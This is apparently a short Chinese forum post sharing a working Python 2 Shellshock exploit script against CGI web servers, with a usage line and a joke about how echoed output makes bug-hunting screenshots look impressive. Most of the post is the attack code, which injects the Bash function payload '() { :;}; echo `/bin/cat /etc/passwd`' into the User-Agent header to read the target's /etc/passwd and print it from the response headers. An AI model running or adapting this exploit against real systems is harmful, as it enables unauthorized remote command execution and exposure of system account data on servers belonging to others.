|
代码如下:
- #coding:utf-8
- import urllib,httplib
- import sys,re,urlparse
- #author:nx4dm1n
- #website:http://www.nxadmin.com
- def bash_exp(url):
- urlsp=urlparse.urlparse(url)
- hostname=urlsp.netloc
- urlpath=urlsp.path
- conn=httplib.HTTPConnection(hostname)
- headers={"User-Agent":"() { :;}; echo `/bin/cat /etc/passwd`"}
- conn.request("GET",urlpath,headers=headers)
- res=conn.getresponse()
- res=res.getheaders()
- for passwdstr in res:
- print passwdstr[0]+':'+passwdstr[1]
-
-
- if __name__=='__main__':
-
- #带http的url
- if len(sys.argv)<2:
- print "Usage: "+sys.argv[0]+" http://www.nxadmin.com/cgi-bin/index.cgi"
- sys.exit()
- else:
- bash_exp(sys.argv[1])
复制代码
效果如图:
没啥亮点,主要就是有回显,挖个洞,用这个截个图,就顿时觉得高大上了。没回显的截图看着不高大上!^_^
|
|